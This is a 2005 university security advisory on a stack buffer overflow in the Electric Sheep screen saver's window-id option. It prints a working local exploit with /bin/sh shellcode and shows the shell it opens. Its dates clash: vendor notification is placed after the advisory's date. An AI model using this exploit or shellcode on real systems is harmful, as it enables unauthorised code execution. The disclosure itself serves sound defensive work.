Electric Sheep window-id stack overflow
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Polytechnic University ISIS Security Advisory PUISIS10202005
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http://isis.poly.edu
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~ Application: Electric Sheep v2.6.3
~ Severity: Normal
~ Title: Electric Sheep window-id stack overflow
~ Date: October 20, 2005
~ ID: PUISIS10202005
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Summary
=======
Due to insufficient bounds checking, a lengthy window-id parameter can
cause a stack based buffer overflow to occur allowing execution of
arbitrary code with the privileges of the invoking user. This could
potentially be used as a backdoor entry point.
Background
==========
"Electric Sheep is a free, open source screen saver run by thousands of
people all over the world. It can be installed on any ordinary PC or
Mac. When these computers "sleep", the screen saver comes on and the
computers communicate with each other by the internet to share the work
of creating morphing abstract animations known as "sheep".
http://electricsheep.org/
Description
===========
electricsheep.c
419:
default_background(char *more) {
char ob[MAXBUF];
char pbuf[MAXBUF];
char qbuf[MAXBUF];
if (nobg || (!on_root && !window_id)) return;
if (more)
sprintf(ob, "-merge -at 500,0 s.tif",
splash_prefix, more);
else
ob[0] = 0;
if (window_id)
sprintf(qbuf, "-windowid %s", window_id); //no bounds checking on qbuf
Because window_id comes directly from the command line, a malicious
user has the potential to supply a window_id larger than MAXBUF and
corrupt sorrounding memory. The vulnerability can be seen by executing
the following command.
electricsheep -window-id `perl -e '{print "A"x"40000";}'`
Bad integer argument for the windowid option
Usage: xsetbg [global options] {[image options] image_name ...}
Type `xsetbg -help [option ...]' for information on a particular option, or
`xsetbg -help' to enter the interactive help facility.
subprocess failure: splash0, 256=1<<8+0
Segmentation fault
An exploit spawing /bin/sh on SUSE Linux
narain@(none):~/electricsheep-2.6.3> electricsheep -window-id `perl -
e '{print "\x90"x"200"; print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46
\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb
\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; print "B"x"532";print
"\x80\xc4\xfd\xbf"; print "C"x"39219";}'`
Bad integer argument for the windowid option
Usage: xsetbg [global options] {[image options] image_name ...}
Type `xsetbg -help [option ...]' for information on a particular option, or
`xsetbg -help' to enter the interactive help facility.
subprocess failure: splash0, 256=1<<8+0
sh-3.00$ whoami
narain
sh-3.00$
Impact
======
This local exploit to the sheep client does not pose a significant
threat as electricsheep does not setuid(0). However, local exploits
may be used as mechanisms for subvert command execution once a system
has been compromised or used to create backdoors.
Workaround
==========
The vendor was notified on November 18, 2005. The vendor was extremely
responsive and cooperative in regards to these security issues. All
issues are fixed in the CVS HEAD of Electric Sheep client development
and will be included in the next release.
About
=====
The Information Systems and Internet Security (ISIS) Laboratory is
an NSF funded laboratory designed to facilitate hands-on
experimentation and project work in issues related to information
security. It provides the focus for multidisciplinary research and
education in emerging areas of security. Polytechnic University, an
NSA Center of Academic Excellence in Information Assurance Education,
houses the lab.
This vulnerability was discovered during coursework performed for
"Penetration Testing & Vulnerability Analysis" offered at
Polytechnic University (http://www.poly.edu) during the Fall 2005
semester.
License
=======
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
Authors
=======
Michael Aiello http://www.michaelaiello.com
Daniel Guido dguido@xxxxxxxxx